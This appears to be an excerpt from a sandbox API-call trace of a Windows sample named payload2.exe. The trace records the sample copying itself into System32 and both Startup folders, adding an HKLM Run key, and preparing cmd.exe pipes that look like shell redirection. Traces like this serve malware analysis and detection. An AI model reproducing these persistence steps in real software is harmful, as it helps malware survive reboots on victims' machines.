	[0052.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d430 | out: hHeap=0x4f0000) returned 1
	[0052.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x534630
	[0052.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x544638
	[0052.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532670
	[0052.889] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532670, Size=0x20) returned 0x52d660
	[0052.889] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d660, Size=0x40) returned 0x507470
	[0052.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532598
	[0052.889] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532598, Size=0x20) returned 0x52d5e8
	[0052.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5327f0
	[0052.889] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5327f0, Size=0x20) returned 0x52d368
	[0052.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532568
	[0052.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532568, Size=0x20) returned 0x52d570
	[0052.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d570, Size=0x40) returned 0x5074b8
	[0052.890] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x544638, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe")) returned 0x24
	[0052.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554640
	[0052.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564648
	[0052.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532568
	[0052.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532568, Size=0x20) returned 0x52d660
	[0052.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d660, Size=0x40) returned 0x507500
	[0052.890] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x533120
	[0052.891] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533120, Size=0x100) returned 0x532cb0
	[0052.891] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0052.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0052.891] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload2.exe", lpDst=0x554640, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload2.exe") returned 0x21
	[0052.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564648 | out: hHeap=0x4f0000) returned 1
	[0052.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554640 | out: hHeap=0x4f0000) returned 1
	[0052.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x23a5020
	[0052.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0052.895] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532790, Size=0x20) returned 0x52d6b0
	[0052.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532568
	[0052.895] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532568, Size=0x20) returned 0x52d610
	[0052.895] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0052.895] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0052.895] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0052.895] lstrlenW (lpString="kernel32.dll") returned 12
	[0052.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d6b0 | out: hHeap=0x4f0000) returned 1
	[0052.895] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0052.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d610 | out: hHeap=0x4f0000) returned 1
	[0052.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0052.896] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload2.exe" (normalized: "c:\\windows\\system32\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0052.898] ReadFile (in: hFile=0x240, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0052.916] WriteFile (in: hFile=0x244, lpBuffer=0x23a5020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0052.949] ReadFile (in: hFile=0x240, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0052.949] CloseHandle (hObject=0x244) returned 1
	[0052.953] CloseHandle (hObject=0x240) returned 1
	[0052.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532598
	[0052.953] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532598, Size=0x20) returned 0x52d688
	[0052.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5325f8
	[0052.953] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5325f8, Size=0x20) returned 0x52d390
	[0052.953] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0052.953] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0052.954] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0052.954] lstrlenW (lpString="kernel32.dll") returned 12
	[0052.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1
	[0052.954] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0052.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d688 | out: hHeap=0x4f0000) returned 1
	[0052.954] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x23a5020 | out: hHeap=0x4f0000) returned 1
	[0052.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532700
	[0052.959] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532700, Size=0x20) returned 0x52d520
	[0052.959] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d520, Size=0x40) returned 0x507818
	[0052.959] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507818, Size=0x80) returned 0x533120
	[0052.959] lstrlenW (lpString="C:\\WINDOWS\\System32\\payload2.exe") returned 32
	[0052.959] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0052.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x5332f0
	[0052.959] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0052.959] RegSetValueExW (in: hKey=0x240, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\payload2.exe", cbData=0x40 | out: lpData="C:\\WINDOWS\\System32\\payload2.exe") returned 0x0
	[0052.960] RegCloseKey (hKey=0x240) returned 0x0
	[0052.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5332f0 | out: hHeap=0x4f0000) returned 1
	[0052.960] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0052.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533120 | out: hHeap=0x4f0000) returned 1
	[0052.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554e48
	[0052.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564e50
	[0052.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0052.960] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532790, Size=0x20) returned 0x52d340
	[0052.960] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d340, Size=0x40) returned 0x507500
	[0052.960] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x575678
	[0052.960] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x575678, Size=0x100) returned 0x532cb0
	[0052.960] lstrlenW (lpString="") returned 0
	[0052.960] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0052.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533120
	[0052.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0052.961] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x564e50, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x564e50*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0052.961] RegCloseKey (hKey=0x240) returned 0x0
	[0052.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533120 | out: hHeap=0x4f0000) returned 1
	[0052.961] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0052.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533120
	[0052.961] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0052.963] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x564e50, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0052.963] RegCloseKey (hKey=0x244) returned 0x0
	[0052.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533120 | out: hHeap=0x4f0000) returned 1
	[0052.963] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0052.963] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0052.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0052.963] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x554e48, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x5b
	[0052.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0052.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554e48 | out: hHeap=0x4f0000) returned 1
	[0052.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x23ad020
	[0052.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5326d0
	[0052.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5326d0, Size=0x20) returned 0x52d4d0
	[0052.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532598
	[0052.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532598, Size=0x20) returned 0x52d340
	[0052.967] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0052.967] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0052.967] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0052.967] lstrlenW (lpString="kernel32.dll") returned 12
	[0052.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4d0 | out: hHeap=0x4f0000) returned 1
	[0052.967] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0052.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d340 | out: hHeap=0x4f0000) returned 1
	[0052.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0052.967] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0052.992] ReadFile (in: hFile=0x244, lpBuffer=0x23ad020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ad020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0053.005] WriteFile (in: hFile=0x248, lpBuffer=0x23ad020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ad020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0053.039] ReadFile (in: hFile=0x244, lpBuffer=0x23ad020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23ad020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0053.044] CloseHandle (hObject=0x248) returned 1
	[0053.065] CloseHandle (hObject=0x244) returned 1
	[0053.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0053.065] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532790, Size=0x20) returned 0x52d728
	[0053.065] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5326b8
	[0053.065] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5326b8, Size=0x20) returned 0x52d250
	[0053.065] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0053.065] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0053.065] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0053.065] lstrlenW (lpString="kernel32.dll") returned 12
	[0053.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d250 | out: hHeap=0x4f0000) returned 1
	[0053.065] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0053.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d728 | out: hHeap=0x4f0000) returned 1
	[0053.065] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x23ad020 | out: hHeap=0x4f0000) returned 1
	[0053.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554e48
	[0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564e50
	[0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5327d8
	[0053.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5327d8, Size=0x20) returned 0x52d638
	[0053.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d638, Size=0x40) returned 0x507500
	[0053.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507500, Size=0x80) returned 0x574e80
	[0053.071] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x574e80, Size=0x100) returned 0x532cb0
	[0053.071] lstrlenW (lpString="") returned 0
	[0053.071] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x533120
	[0053.071] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0053.071] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x564e50, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0053.071] RegCloseKey (hKey=0x244) returned 0x0
	[0053.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533120 | out: hHeap=0x4f0000) returned 1
	[0053.071] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0053.071] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0053.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.071] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x554e48, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x4a
	[0053.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0053.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554e48 | out: hHeap=0x4f0000) returned 1
	[0053.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x23a5020
	[0053.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532670
	[0053.075] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532670, Size=0x20) returned 0x52d340
	[0053.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532700
	[0053.075] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532700, Size=0x20) returned 0x52d548
	[0053.075] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0053.075] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0053.075] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0053.075] lstrlenW (lpString="kernel32.dll") returned 12
	[0053.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d340 | out: hHeap=0x4f0000) returned 1
	[0053.075] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0053.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d548 | out: hHeap=0x4f0000) returned 1
	[0053.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0053.075] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0053.077] ReadFile (in: hFile=0x244, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0053.090] WriteFile (in: hFile=0x248, lpBuffer=0x23a5020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0053.144] ReadFile (in: hFile=0x244, lpBuffer=0x23a5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23a5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0053.144] CloseHandle (hObject=0x248) returned 1
	[0053.343] CloseHandle (hObject=0x244) returned 1
	[0053.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5326e8
	[0053.343] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5326e8, Size=0x20) returned 0x52d700
	[0053.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532790
	[0053.343] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532790, Size=0x20) returned 0x52d570
	[0053.343] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0053.343] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0053.343] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0053.343] lstrlenW (lpString="kernel32.dll") returned 12
	[0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1
	[0053.343] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d700 | out: hHeap=0x4f0000) returned 1
	[0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x23a5020 | out: hHeap=0x4f0000) returned 1
	[0053.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534630 | out: hHeap=0x4f0000) returned 1
	[0053.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544638 | out: hHeap=0x4f0000) returned 1
	[0053.350] lstrlenW (lpString="%windir%\\System32") returned 17
	[0053.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507470 | out: hHeap=0x4f0000) returned 1
	[0053.350] lstrlenW (lpString="%appdata%") returned 9
	[0053.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1
	[0053.350] lstrlenW (lpString="%sh(Startup)%") returned 13
	[0053.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d368 | out: hHeap=0x4f0000) returned 1
	[0053.350] lstrlenW (lpString="%sh(Common Startup)%") returned 20
	[0053.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5074b8 | out: hHeap=0x4f0000) returned 1
	[0053.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532718
	[0053.350] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532718, Size=0x20) returned 0x52d520
	[0053.350] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d520, Size=0x40) returned 0x5078a8
	[0053.350] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078a8, Size=0x80) returned 0x575678
	[0053.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5326e8
	[0053.350] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5326e8, Size=0x20) returned 0x52d2f0
	[0053.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1fffc) returned 0x534630
	[0053.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554e48
	[0053.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564e50
	[0053.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532808
	[0053.351] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532808, Size=0x20) returned 0x52d660
	[0053.351] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d660, Size=0x40) returned 0x5078f0
	[0053.351] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5078f0, Size=0x80) returned 0x574e80
	[0053.351] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x574e80, Size=0x100) returned 0x532cb0
	[0053.351] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0053.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532cb0 | out: hHeap=0x4f0000) returned 1
	[0053.351] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x554e48, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0053.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564e50 | out: hHeap=0x4f0000) returned 1
	[0053.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554e48 | out: hHeap=0x4f0000) returned 1
	[0053.352] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0053.353] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0053.353] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0053.354] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
